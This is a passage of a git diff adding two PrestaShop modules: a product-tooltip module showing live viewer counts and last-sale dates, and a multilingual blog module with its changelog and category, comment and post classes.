tooltips'); + $this->description = $this->l('Show how many people are watching a product page, last sale and last cart added.'); + } + + public function install() + { + if (!parent::install()) + return false; + + /* Default configuration values */ + Configuration::updateValue('PS_PTOOLTIP_PEOPLE', 1); + Configuration::updateValue('PS_PTOOLTIP_DATE_CART', 1); + Configuration::updateValue('PS_PTOOLTIP_DATE_ORDER', 1); + Configuration::updateValue('PS_PTOOLTIP_DAYS', 3); + Configuration::updateValue('PS_PTOOLTIP_LIFETIME', 30); + + return $this->registerHook('header') AND $this->registerHook('productfooter'); + } + + public function uninstall() + { + if (!Configuration::deleteByName('PS_PTOOLTIP_PEOPLE') + OR !Configuration::deleteByName('PS_PTOOLTIP_DATE_CART') + OR !Configuration::deleteByName('PS_PTOOLTIP_DATE_ORDER') + OR !Configuration::deleteByName('PS_PTOOLTIP_DAYS') + OR !Configuration::deleteByName('PS_PTOOLTIP_LIFETIME') + OR !parent::uninstall()) + return false; + return true; + } + + public function getContent() + { + /* Update values in DB */ + if (Tools::isSubmit('SubmitToolTip')) + { + Configuration::updateValue('PS_PTOOLTIP_PEOPLE', (int)(Tools::getValue('ps_ptooltip_people'))); + Configuration::updateValue('PS_PTOOLTIP_DATE_CART', (int)(Tools::getValue('ps_ptooltip_date_cart'))); + Configuration::updateValue('PS_PTOOLTIP_DATE_ORDER', (int)(Tools::getValue('ps_ptooltip_date_order'))); + Configuration::updateValue('PS_PTOOLTIP_DAYS', ((int)(Tools::getValue('ps_ptooltip_days') < 0 ? 0 : (int)Tools::getValue('ps_ptooltip_days')))); + Configuration::updateValue('PS_PTOOLTIP_LIFETIME', ((int)(Tools::getValue('ps_ptooltip_lifetime') < 0 ? 0 : (int)Tools::getValue('ps_ptooltip_lifetime')))); + + echo $this->displayConfirmation($this->l('Settings updated')); + } + + /* Configuration form */ + $output = ' +
        +
        + '.$this->l('Product tooltips').' +

        + '.$this->l('Display the number of people who are currently watching this product?').'

        + '.$this->l('Yes').' +   '.$this->l('No').'
        +

        +

        + '.$this->l('Lifetime:').' + '.$this->l('minutes').'
        +

        +

        + '.$this->l('If you activate the option above, you must activate the first option of StatData module').' +

        +
        +

        + '.$this->l('Display the last time the product has been ordered?').'

        + '.$this->l('Yes').' +   '.$this->l('No').'

        +

        +

        + '.$this->l('If not ordered yet, display the last time the product has been added to a cart?').'

        + '.$this->l('Yes').' +   '.$this->l('No').'

        + +

        +

        + '.$this->l('Do not display events older than:').' + '.$this->l('days').'
        +

        +
        +
        +
        +

        + '.$this->l('Sample:').'
        + +

        +
        +
        '; + + return $output; + } + + public function hookHeader($params) + { + $this->context->controller->addJQueryPlugin('jgrowl'); + } + + public function hookProductFooter($params) + { + $id_product = (int)($params['product']->id); + + /* First we try to display the number of people who are currently watching this product page */ + if (Configuration::get('PS_PTOOLTIP_PEOPLE')) + { + $date = strftime('%Y-%m-%d %H:%M:%S' , time() - (int)(Configuration::get('PS_PTOOLTIP_LIFETIME') * 60)); + + $nbPeople = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT COUNT(DISTINCT(id_connections)) nb + FROM '._DB_PREFIX_.'page p + LEFT JOIN '._DB_PREFIX_.'connections_page cp ON (p.id_page = cp.id_page) + WHERE p.id_page_type = 1 AND p.id_object = '.(int)($id_product).' AND cp.time_start > \''.pSQL($date).'\''); + + if (isset($nbPeople['nb']) AND $nbPeople['nb'] > 0) + $this->smarty->assign('nb_people', (int)($nbPeople['nb'])); + } + + /* Then, we try to display last sale */ + if (Configuration::get('PS_PTOOLTIP_DATE_ORDER')) + { + $days = (int)(Configuration::get('PS_PTOOLTIP_DAYS')); + $date = strftime('%Y-%m-%d' , strtotime('-'.(int)($days).' day')); + + $order = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT o.date_add + FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'orders o ON (od.id_order = o.id_order) + WHERE od.product_id = '.(int)($id_product).' AND o.date_add >= \''.pSQL($date).'\' + ORDER BY o.date_add DESC'); + + if (isset($order['date_add']) && Validate::isDateFormat($order['date_add']) && $order['date_add'] != '0000-00-00 00:00:00') + $this->smarty->assign('date_last_order', $order['date_add']); + else + { + /* No sale? display last cart add instead */ + if (Configuration::get('PS_PTOOLTIP_DATE_CART')) + { + $cart = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT cp.date_add + FROM '._DB_PREFIX_.'cart_product cp + WHERE cp.id_product = '.(int)($id_product)); + + if (isset($cart['date_add']) && Validate::isDateFormat($cart['date_add']) && $cart['date_add'] != '0000-00-00 00:00:00') + $this->smarty->assign('date_last_cart', $cart['date_add']); + } + } + } + + if ((isset($nbPeople['nb']) AND $nbPeople['nb'] > 0) OR isset($order['date_add']) OR isset($cart['date_add'])) + return $this->display(__FILE__, 'producttooltip.tpl'); + } +} + + diff --git a/modules/producttooltip/producttooltip.tpl b/modules/producttooltip/producttooltip.tpl new file mode 100755 index 0000000..6946bd6 --- /dev/null +++ b/modules/producttooltip/producttooltip.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + diff --git a/modules/producttooltip/sample.gif b/modules/producttooltip/sample.gif new file mode 100755 index 0000000..ef252d7 Binary files /dev/null and b/modules/producttooltip/sample.gif differ diff --git a/modules/producttooltip/translations/fr.php b/modules/producttooltip/translations/fr.php new file mode 100755 index 0000000..f4a2b6f --- /dev/null +++ b/modules/producttooltip/translations/fr.php @@ -0,0 +1,24 @@ +producttooltip_4776f7eb5998034f7bbc63b6457d1ff4'] = 'Infobulles produit'; +$_MODULE['<{producttooltip}prestashop>producttooltip_3e29935c25a10ae452308dc52381f353'] = 'Affiche combien de personnes consultent un produit ainsi que les dates de dernière commande ou ajout au panier'; +$_MODULE['<{producttooltip}prestashop>producttooltip_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{producttooltip}prestashop>producttooltip_e548d0d6a94a27306b8b31472a3e5ec3'] = 'Afficher le nombre de personnes qui consultent la fiche produit ?'; +$_MODULE['<{producttooltip}prestashop>producttooltip_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{producttooltip}prestashop>producttooltip_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{producttooltip}prestashop>producttooltip_2c8de3180924949acc5f6250af689802'] = 'Période de validité :'; +$_MODULE['<{producttooltip}prestashop>producttooltip_640fd0cc0ffa0316ae087652871f4486'] = 'minutes'; +$_MODULE['<{producttooltip}prestashop>producttooltip_8a8110f8a25a0e445f51edf84fd98a96'] = 'Si vous activez l\'option ci-dessus, vous devez activer la première option du module StatData'; +$_MODULE['<{producttooltip}prestashop>producttooltip_1e358b149c2d4105f3a74c1961d1d9fb'] = 'Afficher la date de la dernière commande ?'; +$_MODULE['<{producttooltip}prestashop>producttooltip_dbcfa4aa50cd5f7ad099b3ba50e1137c'] = 'Si aucune commande à afficher, afficher la date du dernier ajout au panier ?'; +$_MODULE['<{producttooltip}prestashop>producttooltip_a536f110cc080569666e95e8f49fda9b'] = 'Ne pas afficher les événements datant de plus de :'; +$_MODULE['<{producttooltip}prestashop>producttooltip_44fdec47036f482b68b748f9d786801b'] = 'jours'; +$_MODULE['<{producttooltip}prestashop>producttooltip_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour les paramètres'; +$_MODULE['<{producttooltip}prestashop>producttooltip_f0f5fac9602d88bc27f0edf960dda8b8'] = 'Exemple :'; +$_MODULE['<{producttooltip}prestashop>producttooltip_a49dc1bf9fb1e2ba1c9735f91dfece9a'] = '%d personne regarde actuellement ce produit'; +$_MODULE['<{producttooltip}prestashop>producttooltip_d33e6930ab863734cef083b815ff7356'] = '%d personnes regardent actuellement ce produit'; +$_MODULE['<{producttooltip}prestashop>producttooltip_71736c614b237f4368128077411f1699'] = 'Ce produit a été acheté dernièrement le'; +$_MODULE['<{producttooltip}prestashop>producttooltip_4dda321f0231c2d50fcee5c20075dbbd'] = 'Ce produit a été ajouté au panier dernièrement le'; diff --git a/modules/producttooltip/translations/index.php b/modules/producttooltip/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/producttooltip/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/psblog/AdminBlog.gif b/modules/psblog/AdminBlog.gif new file mode 100755 index 0000000..4ec6209 Binary files /dev/null and b/modules/psblog/AdminBlog.gif differ diff --git a/modules/psblog/changelog.txt b/modules/psblog/changelog.txt new file mode 100755 index 0000000..2e18fe1 --- /dev/null +++ b/modules/psblog/changelog.txt @@ -0,0 +1,71 @@ +# 2013-12-13 Release 2.3 +Tab Stats Feature +Configuration tab +Various optimisations +Export feature + +# 2013-10-20 Release 2.2 +Featured block +Block Positions improvements +Default & featured categories +Footer block +Translate in admin with flags + +# 2013-10-20 Release 2.1 +All in one module instead 4 +fix lang problem 1.5.4 +Archives block +Various optimisations +Relations in one table (product, group, lang, category) +Edit blog page Metas +Subcategories (admin, block, lists) +Publish same article in several langs (lang filter) +Category in breadcrumb +Category customer group filter +BO Lists improvements, new fields etc... +Upgrade script (from 1.5) +Display posts on footer + +# 2013-05-05 Release 1.5.2 +fix lang problem 1.5.4 +fix install problem 1.5.4 + +# 2012-11-06 Release 1.5.1 +fix bug prefix lang table in category class +fix bug pagination +Add product image format configuration +Add param to related product image link + +# 2012-10-31 Release 1.5 +Full 1.5 compatibility +Sitemap xml +multishop +image positions +many improvements + +# 2012-03-23 Release 1.4 +FO : search block +FO : Related articles feature +BO : Link articles to other articles +FO : Various optimisations + +# 2012-01-26 Release 1.3 +FO : simplifying the implementation of the url rewriting (only one directive now) +FO : New feature feed RSS +FO : Share with Addthis +BO : Enable / disable categories +BO : Manage categories positions +BO : Category new description & SEO fields +BO : New posts SEO fields +BO : New post images management, no need to create directories. + +# 2011-05-26 Release 1.2 +FO : Fix smarty get_template_vars call bug for some prestashop installation +BO : WYSIWYG fix for PS 1.4.1 + +# 2011-04-29 Release 1.1 +BO : PS < 1.4 Post edit, in comment list fix link Token error to see detail of comment. +FO : Fix bug count number of comment in article. +FO : new htaccess rules for url rewriting + +# 2010-04-22 Release 1.0 \ No newline at end of file diff --git a/modules/psblog/classes/BlogCategory.php b/modules/psblog/classes/BlogCategory.php new file mode 100755 index 0000000..1855a3a --- /dev/null +++ b/modules/psblog/classes/BlogCategory.php @@ -0,0 +1,325 @@ + 'blog_category', + 'primary' => 'id_blog_category', + 'multilang' => true, + 'multishop' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'meta_description' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 255, 'lang' => true), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 255, 'lang' => true), + 'link_rewrite' => array('type' => self::TYPE_STRING, 'validate' => 'isLinkRewrite', 'size' => 128, 'lang' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'id_blog_category_parent' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => false), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 255, 'lang' => true), + 'description' => array('type' => self::TYPE_HTML, 'validate' => 'isString', 'size' => 3999999999999, 'lang' => true) + ) + ); + + public function __construct($id = null, $id_lang = null, $id_shop = null) { + BlogShop::addBlogAssoTables(); + parent::__construct($id, $id_lang, $id_shop); + } + + public function add($autodate = true, $nullValues = false) { + return parent::add($autodate, true); + } + + public function delete() { + $this->cleanPostcategories(); + return parent::delete(); + } + + public function isAllowed() { + + $context = Context::getContext(); + + $id_lang = $context->language->id; + $id_shop = $context->shop->id; + + $category_langs = $this->getLangs(true); + $category_groups = $this->getGroups(); + $current_groups = FrontController::getCurrentCustomerGroups(); + + $group_found = false; + if (empty($current_groups)) + $current_groups[] = (int) Group::getCurrent()->id; + foreach ($current_groups as $group) { + if (in_array($group, $category_groups)) { + $group_found = true; + } + } + + if (!$this->active || !$group_found || !in_array($id_lang, $category_langs) || !$this->isAssociatedToShop($id_shop)) + return false; + + return true; + } + + public function cleanPostcategories() { + return Db::getInstance()->Execute('DELETE FROM `' . _DB_PREFIX_ . 'blog_categories` WHERE `id_blog_category` = ' . (int) ($this->id)); + } + + public static function getSubCategories($category_id, $currentContext, $active = true) { + $context = null; + if ($currentContext instanceof Context) { + $context = $currentContext; + } elseif (is_bool($currentContext) && $currentContext === true) { + $context = Context::getContext(); + } + + $id_lang = (is_null($context) || !isset($context->language)) ? Context::getContext()->language->id : $context->language->id; + + $query = 'SELECT DISTINCT(c.id_blog_category), cl.name, cl.link_rewrite, c.position, c.id_blog_category_parent, + (SELECT GROUP_CONCAT(l.iso_code) FROM ' . _DB_PREFIX_ . 'blog_category_relation crl + LEFT JOIN `' . _DB_PREFIX_ . 'lang` l ON (crl.`key` = "lang" AND l.`id_lang`= crl.`value`) + WHERE crl.id_blog_category = c.id_blog_category) as iso_code + + FROM ' . _DB_PREFIX_ . 'blog_category c '; + + $query .= ' LEFT JOIN `' . _DB_PREFIX_ . 'blog_category_lang` cl ON cl.`id_blog_category` = c.`id_blog_category` '; + + if ($context) { + $query .= BlogShop::addShopAssociation('blog_category', 'c', $context); + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN (' . implode(',', $groups) . ')' : '=' . (int) Group::getCurrent()->id); + + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_category_relation` cr2 ON (cr2.`id_blog_category` = c.`id_blog_category` AND cr2.`key` = "group" AND cr2.`value` ' . $sql_groups . ') '; + } + + if ($context && isset($context->language)) + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_category_relation` cr ON (cr.`id_blog_category` = c.`id_blog_category` AND cr.`key` = "lang" AND cr.`value` = "' . $context->language->id . '") '; + + $query .= ' WHERE cl.`id_lang` = ' . (int) $id_lang . ' AND c.id_blog_category != 1 '; + + if ($active) + $query .= ' AND c.`active` = 1'; + + $query .= ' AND c.`id_blog_category_parent` = ' . $category_id . ' '; + $query .= ' GROUP BY c.`id_blog_category` ORDER BY c.`position` ASC, cl.`name` ASC'; + $result = Db::getInstance()->ExecuteS($query); + + if (!$result) + return array(); + + $i = 0; + foreach ($result as $val) { + $result[$i]['link'] = BlogCategory::linkCategory($val['id_blog_category'], $val['link_rewrite']); + $i++; + } + + return $result; + } + + public static function listCategories($currentContext, $active = true, $onlyParents = false, $count = false, $exclude_defaults = null) { + + if(!is_null($exclude_defaults)){ + $exclude_defaults = (array) $exclude_defaults; + } + + $context = null; + if ($currentContext instanceof Context) { + $context = $currentContext; + } elseif (is_bool($currentContext) && $currentContext === true) { + $context = Context::getContext(); + } + + $id_lang = (is_null($context) || !isset($context->language)) ? Context::getContext()->language->id : $context->language->id; + + if($count){ + $select = ' COUNT(DISTINCT(c.`id_blog_category`)) as nb '; + }else{ + $select = ' DISTINCT(c.id_blog_category), c.id_blog_category, cl.name, cl.link_rewrite, c.position, c.id_blog_category_parent, + (SELECT GROUP_CONCAT(l.iso_code) FROM ' . _DB_PREFIX_ . 'blog_category_relation crl + LEFT JOIN `' . _DB_PREFIX_ . 'lang` l ON (crl.`key` = "lang" AND l.`id_lang`= crl.`value`) + WHERE crl.id_blog_category = c.id_blog_category) as iso_code '; + } + + $query = 'SELECT '.$select.' FROM ' . _DB_PREFIX_ . 'blog_category c '; + + $query .= ' LEFT JOIN `' . _DB_PREFIX_ . 'blog_category_lang` cl ON cl.`id_blog_category` = c.`id_blog_category` '; + + if ($context) { + $query .= BlogShop::addShopAssociation('blog_category', 'c', $context); + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN (' . implode(',', $groups) . ')' : '=' . (int) Group::getCurrent()->id); + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_category_relation` cr2 ON (cr2.`id_blog_category` = c.`id_blog_category` AND cr2.`key` = "group" AND cr2.`value` ' . $sql_groups . ') '; + + if (isset($context->language)) + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_category_relation` cr ON (cr.`id_blog_category` = c.`id_blog_category` AND cr.`key` = "lang" AND cr.`value` = "' . $context->language->id . '") '; + } + + $query .= ' WHERE cl.`id_lang` = ' . (int) $id_lang; + + if (!is_null($exclude_defaults) && is_array($exclude_defaults)) + $query .= ' AND c.id_blog_category NOT IN ('.implode(',',$exclude_defaults).') '; + + if ($active) + $query .= ' AND c.`active` = 1'; + + if ($onlyParents) + $query .= ' AND (c.`id_blog_category_parent` IS NULL OR c.`id_blog_category_parent` = 0) '; + + if ($count) { + + $result = Db::getInstance()->getRow($query); + return $result['nb']; + + }else{ + + $query .= ' GROUP BY c.`id_blog_category` ORDER BY c.`position` ASC, cl.`name` ASC '; + + $result = Db::getInstance()->ExecuteS($query); + if (!$result) return array(); + + $i = 0; + foreach ($result as $val) { + $result[$i]['link'] = BlogCategory::linkCategory($val['id_blog_category'], $val['link_rewrite']); + $result[$i]['subcategories'] = BlogCategory::getSubCategories($val['id_blog_category'], $currentContext, true); + $i++; + } + + return $result; + } + } + + public function getPosts($checkContext = true, $publish = true, $start = 0, $limit = 5) { + return BlogPost::listPosts($checkContext, $publish, $start, $limit, false, $this->id); + } + + public function nbPosts($checkContext = true, $publish = true) { + return BlogPost::listPosts($checkContext, $publish, null, null, true, $this->id); + } + + public static function getParents($id_lang = null, $except_id = null) { + + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + $query = "SELECT * FROM `" . _DB_PREFIX_ . "blog_category` c + LEFT JOIN `" . _DB_PREFIX_ . "blog_category_lang` l ON l.`id_blog_category` = c.`id_blog_category` + WHERE l.`id_lang` = " . (int) $id_lang . " AND c.`id_blog_category` != 1 AND c.`id_blog_category` != 2 + AND (c.`id_blog_category_parent` IS NULL OR c.`id_blog_category_parent` = 0)"; + + if (!is_null($except_id) && is_numeric($except_id)) { + $query .= ' AND c.`id_blog_category` != ' . (int) $except_id; + } + + $result = Db::getInstance()->ExecuteS($query); + + $list = array(); + foreach ($result as $category) { + $list[] = array('name' => $category['name'], 'id' => $category['id_blog_category']); + } + return $list; + } + + public function getLangs($onlyIds = false) { + + $query = 'SELECT l.* FROM `' . _DB_PREFIX_ . 'blog_category_relation` cr + INNER JOIN `' . _DB_PREFIX_ . 'lang` l ON (cr.`key` = "lang" AND l.`id_lang`= cr.`value`) + WHERE cr.`id_blog_category` = ' . intval($this->id); + $result = Db::getInstance()->ExecuteS($query); + + if ($result && $onlyIds) { + $resultIds = array(); + foreach ($result as $group) + $resultIds[] = $group['id_lang']; + + return $resultIds; + } + + return $result; + } + + public function isAssociatedToLang($id_lang = null) { + + if ($id_lang === null) + $id_lang = Context::getContext()->language->id; + + $query = 'SELECT l.* FROM `' . _DB_PREFIX_ . 'blog_category_relation` cr + INNER JOIN `' . _DB_PREFIX_ . 'lang` l ON (cr.`key` = "lang" AND l.`id_lang`= cr.`value`) + WHERE cr.`id_blog_category` = ' . intval($this->id) . ' AND cr.`value` = "' . $id_lang . '"'; + + return (bool) Db::getInstance()->getValue($query); + } + + public function getGroups() { + return BlogCategoryRelation::getRelation($this->id, 'group'); + } + + public static function linkCategory($category_id, $rewrite = null, $p = null, $context = null, $params = array()) { + + if (is_null($context) || !($context instanceof Context)) { + $context = Context::getContext(); + } + + $languages = Language::getLanguages(true, $context->shop->id); + $shop_url = $context->shop->getBaseURL(); + + if(!is_null($p)) $params[] = 'p=' . $p; + + if (Configuration::get('PS_REWRITING_SETTINGS')) { + + $lang_rewrite = Psblog::getRewriteCode($context->language->id); + + $iso = (isset($context->language) && count($languages) > 1) ? $context->language->iso_code . '/' : ''; + + $param_str = count($params) ? '?'.implode('&',$params) : ''; + + if ($category_id == 1) { + return $shop_url . $iso . $lang_rewrite . $param_str; + } else { + + if (is_null($rewrite) || trim($rewrite) == '') { + $category = new BlogCategory($category_id, (int) Configuration::get('PS_LANG_DEFAULT')); + $rewrite = $category->link_rewrite; + } + + return $shop_url . $iso . $lang_rewrite . '/category/' . $category_id . '-' . $rewrite . $param_str; + } + + } else { + + $id_lang = (isset($context->language) && count($languages) > 1) ? '&id_lang=' . $context->language->id : ''; + + $param_str = count($params) ? '&'.implode('&',$params) : ''; + + if ($category_id == 1) { + return $shop_url . 'index.php?fc=module&module=psblog&controller=posts' . $id_lang . $param_str; + } else { + return $shop_url . 'index.php?fc=module&module=psblog&controller=posts&category=' . $category_id . $id_lang . $param_str; + } + } + } + +} + +?> diff --git a/modules/psblog/classes/BlogCategoryRelation.php b/modules/psblog/classes/BlogCategoryRelation.php new file mode 100755 index 0000000..f517095 --- /dev/null +++ b/modules/psblog/classes/BlogCategoryRelation.php @@ -0,0 +1,62 @@ + 'blog_category_relation', + 'primary' => 'id_blog_category_relation', + 'fields' => array( + 'id_blog_category' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt','required' => true), + 'key' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 24), + 'value' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 255), + ) + ); + + public static function saveRelation($id_blog_category,$key,$data){ + + if(!is_numeric($id_blog_category) || empty($id_blog_category)) return false; + + self::cleanRelation($id_blog_category,$key); + + if(is_array($data) && count($data)){ + foreach ($data as $value) { + $row = array('id_blog_category' => intval($id_blog_category),'key' => $key,'value' => $value); + Db::getInstance()->AutoExecute(_DB_PREFIX_ . 'blog_category_relation', $row, 'INSERT'); + } + } + + return true; + } + + public static function cleanRelation($id_blog_category,$key){ + if(!is_numeric($id_blog_category) || empty($id_blog_category)) return false; + return Db::getInstance()->Execute('DELETE FROM `' . _DB_PREFIX_ . 'blog_category_relation` WHERE `id_blog_category` = '.intval($id_blog_category).' AND `key` = "'.$key.'"'); + } + + + public static function cleanCategoryRelations($id_blog_category){ + if(!is_numeric($id_blog_category) || empty($id_blog_category)) return false; + return Db::getInstance()->Execute('DELETE FROM `' . _DB_PREFIX_ . 'blog_category_relation` WHERE `id_blog_category` = '.intval($id_blog_category)); + } + + public static function getRelation($id_blog_category,$key){ + + $values = array(); + + if(!is_numeric($id_blog_category) || empty($id_blog_category)) return $values; + + $query = 'SELECT * FROM `' . _DB_PREFIX_ . 'blog_category_relation` pr WHERE pr.`key` = "'.$key.'" AND pr.`id_blog_category` = '.$id_blog_category; + $result = Db::getInstance()->ExecuteS($query); + + if(is_array($result) && count($result)){ + foreach($result as $row) + $values[] = $row['value']; + } + return $values; + } + +} \ No newline at end of file diff --git a/modules/psblog/classes/BlogComment.php b/modules/psblog/classes/BlogComment.php new file mode 100755 index 0000000..190bff0 --- /dev/null +++ b/modules/psblog/classes/BlogComment.php @@ -0,0 +1,104 @@ + 'blog_comment', + 'primary' => 'id_blog_comment', + 'fields' => array( + 'active' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'customer_name' => array('type' => self::TYPE_STRING, 'required' => true, 'validate' => 'isGenericName', 'size' => 128), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'id_guest' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + 'id_blog_post' => array('type' => self::TYPE_INT, 'required' => true, 'validate' => 'isUnsignedInt'), + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'content' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage', 'size' => 65535) + ) + ); + + public function getArticle() { + return new BlogPost($this->id_blog_post); + } + + static public function getByCustomer($id_blog_post, $id_customer, $last = false, $id_guest = false) { + $results = Db::getInstance()->ExecuteS(' + SELECT * FROM `' . _DB_PREFIX_ . 'blog_comment` bc + WHERE bc.`id_blog_post` = ' . (int) ($id_blog_post) . ' + AND ' . (!$id_guest ? 'bc.`id_customer` = ' . (int) ($id_customer) : 'bc.`id_guest` = ' . (int) ($id_guest)) . ' + ORDER BY bc.`date_add` DESC ' . ($last ? 'LIMIT 1' : '')); + + if ($last) + return array_shift($results); + return $results; + } + + static public function getByStatus($active,$count = false) { + + //1 waiting, 2 approved, 3 Disapproved + + if($count){ + $select = 'COUNT(bc.`id_blog_comment`) as nb'; + }else{ + $select = '*'; + } + + $query = 'SELECT '.$select .' FROM `' . _DB_PREFIX_ . 'blog_comment` bc + INNER JOIN `' . _DB_PREFIX_ . 'blog_post` p ON p.`id_blog_post` = bc.`id_blog_post` + WHERE 1 '.(!is_null($active) ? ' AND bc.`active` = "'.$active.'"' : '').' + ORDER BY bc.`date_add` DESC '; + + if($count){ + $result = Db::getInstance()->getRow($query); + return $result['nb']; + }else + return Db::getInstance()->ExecuteS($query); + + } + + static public function getCommentedPosts($limit){ + + $id_lang = Context::getContext()->language->id; + + $query = 'SELECT p.`id_blog_post`, pl.`title`, COUNT(bc.id_blog_comment) as nb_comments + FROM `'. _DB_PREFIX_ .'blog_post` p + INNER JOIN `' . _DB_PREFIX_ . 'blog_post_lang` pl ON pl.`id_blog_post` = p.`id_blog_post` + INNER JOIN `' . _DB_PREFIX_ . 'blog_comment` bc ON (p.`id_blog_post` = bc.id_blog_post AND bc.active = 1) + WHERE pl.id_lang = '.$id_lang.' + GROUP BY p.`id_blog_post` + ORDER BY `nb_comments` DESC + LIMIT 0,'.$limit; + + return Db::getInstance()->ExecuteS($query); + } + + public static function getAdminCommentsLink(){ + + $context = Context::getContext(); + + $tokenModules = Tools::getAdminToken('AdminBlogComments' . (int) (Tab::getIdFromClassName('AdminBlogComments')) . (int) $context->employee->id); + $link = 'index.php?controller=AdminBlogComments&token=' . $tokenModules; + + return $link; + } + +} \ No newline at end of file diff --git a/modules/psblog/classes/BlogPost.php b/modules/psblog/classes/BlogPost.php new file mode 100755 index 0000000..56ddd03 --- /dev/null +++ b/modules/psblog/classes/BlogPost.php @@ -0,0 +1,702 @@ + 'blog_post', + 'primary' => 'id_blog_post', + 'multilang' => true, + 'multishop' => true, + 'fields' => array( + 'status' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + 'allow_comments' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'date_on' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + 'meta_description' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 255, 'lang' => true), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 255, 'lang' => true), + 'link_rewrite' => array('type' => self::TYPE_STRING, 'validate' => 'isLinkRewrite', 'size' => 128, 'lang' => true), + 'title' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 128, 'required' => true, 'lang' => true), + 'excerpt' => array('type' => self::TYPE_HTML, 'validate' => 'isString', 'size' => 3999999999999, 'lang' => true), + 'content' => array('type' => self::TYPE_HTML, 'validate' => 'isString', 'size' => 3999999999999, 'lang' => true) + ) + ); + + public function __construct($id = null, $id_lang = null, $id_shop = null) { + BlogShop::addBlogAssoTables(); + parent::__construct($id, $id_lang, $id_shop); + if ($this->id) { + $this->default_img = $this->getDefaultImage(); + } + } + + public function add($autodate = true, $nullValues = false) { + return parent::add($autodate, true); + } + + public function delete() { + + $this->cleanImages(); + $this->cleanComments(); + BlogPostRelation::cleanPostRelations($this->id); + + return parent::delete(); + } + + public static function listPosts($currentContext, $publish = true, $start = 0, $limit = 5, $count = false, $category_id = null, $product_id = null, $except_id = null, $year = null, $month = null) { + + $context = null; + if ($currentContext instanceof Context) { + $context = $currentContext; + } elseif (is_bool($currentContext) && $currentContext === true) { + $context = Context::getContext(); + } + + $id_lang = (is_null($context) || !isset($context->language)) ? Context::getContext()->language->id : $context->language->id; + + if ($count) { + $select = ' COUNT(DISTINCT(p.`id_blog_post`)) as nb '; + } else { + $select = ' DISTINCT(p.id_blog_post), pl.title, pl.excerpt, pl.link_rewrite, p.date_on, p.allow_comments, + pi.id_blog_image as default_img, pi.img_name as default_img_name, COUNT(bc.id_blog_comment) as nb_comments, + + (SELECT GROUP_CONCAT(l.iso_code) FROM ' . _DB_PREFIX_ . 'blog_post_relation cpl + LEFT JOIN `' . _DB_PREFIX_ . 'lang` l ON (cpl.`key` = "lang" AND l.`id_lang`= cpl.`value`) + WHERE cpl.id_blog_post = p.id_blog_post) as iso_code '; + } + + $query = 'SELECT ' . $select . ' FROM ' . _DB_PREFIX_ . 